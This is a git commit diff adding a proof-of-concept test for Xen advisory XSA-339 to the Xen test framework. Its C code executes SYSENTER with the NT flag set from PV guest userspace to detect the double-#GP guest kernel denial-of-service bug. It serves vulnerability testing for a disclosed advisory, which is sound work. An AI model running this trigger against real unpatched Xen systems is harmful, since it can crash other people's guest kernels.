]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-339 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 14 Sep 2020 15:02:58 +0000 (16:02 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 23 Sep 2020 14:35:15 +0000 (15:35 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-339/Makefile [new file with mode: 0644]
tests/xsa-339/main.c [new file with mode: 0644]

index 8eed0cf14fa7baf8262fe70156ae779860a48242..be5e9945edd461acd91f70180b858c061502a8f1 100644 (file)
@@ -42,6 +42,8 @@ Coveres XSA-106 and XSA-156.
 
 @section index-xsa XSA Proof-of-Concept tests
 
+XSA-44 - See @ref test-xsa-339.
+
 XSA-106 - See @ref test-swint-emulation.
 
 @subpage test-xsa-122 - Hypervisor stack leak via xen_version() hypercall.
@@ -152,6 +154,8 @@ states.
 
 @subpage test-xsa-317 - Incorrect error handling in event channel port allocation.
 
+@subpage test-xsa-339 - x86 pv guest kernel DoS via SYSENTER.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-339/Makefile b/tests/xsa-339/Makefile
new file mode 100644 (file)
index 0000000..29ae41c
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-339
+CATEGORY  := xsa
+TEST-ENVS := $(PV_ENVIRONMENTS)
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-339/main.c b/tests/xsa-339/main.c
new file mode 100644 (file)
index 0000000..c358aa3
--- /dev/null
@@ -0,0 +1,139 @@
+/**
+ * @file tests/xsa-339/main.c
+ * @ref test-xsa-339
+ *
+ * @page test-xsa-339 XSA-339
+ *
+ * Advisory: [XSA-339](https://xenbits.xen.org/xsa/advisory-339.html)
+ *
+ * Xen, in the fix for XSA-44, started raising @#GP in the guest for a
+ * SYSENTER with NT set.  This is buggy to begin with, but combined with
+ * separate bug for 32bit PV guests, which caused the fault to be raised
+ * twice.
+ *
+ * Execute SYSENTER, with NT set, and try to sift through the many possible
+ * results.
+ *
+ * 1. On AMD/Hygon hardware, SYSENTER is unusable, and will result in @#UD
+ *    directly in userspace.
+ * 2. On versions of Xen without XSA-44 fixed, Xen will crash.
+ * 3. On versions of Xen with XSA-44, 339 and the buggy @#GP behaviour fixed,
+ *    the SYSENTER will execute normally and land at the registered callback.
+ *    Fix up user state and return with no fault latched.
+ * 4. On versions of Xen with XSA-44 and 339 fixed, a @#GP will be delivered
+ *    with SYSENTER semantics.  Fix up user state, and return with a @#GP
+ *    fault latched (if case 5 not already latched).
+ * 5. On versions of Xen with XSA-44 fixed, but 339 unfixed, a second @#GP
+ *    fault will be delivered on top of case 4, pointing at the @#GP fault
+ *    handler.  Note this with EXINFO_AVAIL0, and treat it as having trap
+ *    semantics, so that returning from it will then continue running case 4.
+ *
+ * @see tests/xsa-339/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-339 PoC";
+
+void entry_GP(void);
+
+static unsigned long __user_text sysenter_nt(void)
+{
+    exinfo_t fault = 0;
+
+    /* Use the SYSEXIT ABI.  Return %rsp in %rcx, %rip in %rdx. */
+    asm volatile ("mov %%"_ASM_SP", %%"_ASM_CX";"
+#ifdef __x86_64__
+                  "lea 3f(%%rip), %%rdx;"
+#else
+                  "call 1f;"
+                  "1: pop %%edx;"
+                  "add $3f - 1b, %%edx;"
+#endif
+                  "pushf;"
+                  "orl $"STR(X86_EFLAGS_NT)", (%%"_ASM_SP");"
+                  "popf;"
+                  "2: sysenter;"
+                  "3:"
+                  _ASM_EXTABLE_HANDLER(2b, 3b, %P[rec])
+                  : "+a" (fault)
+                  : [rec] "p" (ex_record_fault_eax)
+                  : "ecx", "edx");
+
+    return fault;
+}
+
+static void fixup_sysenter_state(struct cpu_regs *regs)
+{
+    regs->cs = __USER_CS;
+    regs->ip = regs->dx;
+    regs->eflags &= ~X86_EFLAGS_NT;
+    regs->_ss = __USER_DS;
+    regs->_sp = regs->cx;
+}
+
+void do_sysenter(struct cpu_regs *regs)
+{
+    fixup_sysenter_state(regs);
+}
+
+bool do_unhandled_exception(struct cpu_regs *regs)
+{
+    exinfo_t ex = EXINFO(regs->entry_vector, regs->error_code);
+
+    /*
+     * First buggy #GP, and the subject of XSA-339.  Points at the #GP handler
+     * in kernel mode.
+     */
+    if ( ex == EXINFO_SYM(GP, 0) && regs->ip == _u(entry_GP) &&
+         (regs->cs & X86_SEL_RPL_MASK) == IS_DEFINED(CONFIG_32BIT) )
+    {
+        regs->ax = EXINFO_AVAIL0;
+        return true;
+    }
+
+    /*
+     * Second buggy #GP, not a security issue.  Invoked with SYSENTER
+     * semantics, so all calling state discarded.  Don't clobber EXINFO_AVAIL0
+     * in the fault information if we're unwnding the XSA case.
+     */
+    if ( ex == EXINFO_SYM(GP, 0) && regs->ip == 0 &&
+         (regs->cs & X86_SEL_RPL_MASK) == 3 )
+    {
+        if ( regs->ax != EXINFO_AVAIL0 )
+            regs->ax = ex;
+
+        fixup_sysenter_state(regs);
+        return true;
+    }
+
+    return false;
+}
+
+void test_main(void)
+{
+    exinfo_t fault = exec_user(sysenter_nt);
+
+    switch ( fault )
+    {
+    case EXINFO_AVAIL0:
+        return xtf_failure("Fail: Vulnerable to XSA-399\n");
+
+    case 0:
+    case EXINFO_SYM(UD, 0):
+    case EXINFO_SYM(GP, 0):
+        return xtf_success("Success: Not vulnerable to XSA-339\n");
+
+    default:
+        return xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault));
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */